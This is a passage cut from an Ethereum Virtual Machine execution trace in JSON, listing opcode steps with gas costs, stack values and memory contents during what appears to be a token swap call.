","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8716,"op":"MLOAD","gas":106622,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8717,"op":"RETURNDATASIZE","gas":106619,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8718,"op":"PUSH1","gas":106617,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8720,"op":"NOT","gas":106614,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8721,"op":"PUSH1","gas":106611,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8723,"op":"DUP3","gas":106608,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8724,"op":"ADD","gas":106605,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8725,"op":"AND","gas":106602,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x5f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8726,"op":"DUP3","gas":106599,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8727,"op":"ADD","gas":106596,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x40","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8728,"op":"DUP1","gas":106593,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8729,"op":"PUSH1","gas":106590,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x1c0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8731,"op":"MSTORE","gas":106587,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x1c0","0x1c0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8732,"op":"POP","gas":106584,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8733,"op":"DUP2","gas":106582,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8734,"op":"ADD","gas":106579,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x40","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8735,"op":"SWAP1","gas":106576,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8736,"op":"PUSH2","gas":106573,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1c0","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8739,"op":"SWAP2","gas":106570,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1c0","0x180","0x2229"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8740,"op":"SWAP1","gas":106567,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x180","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4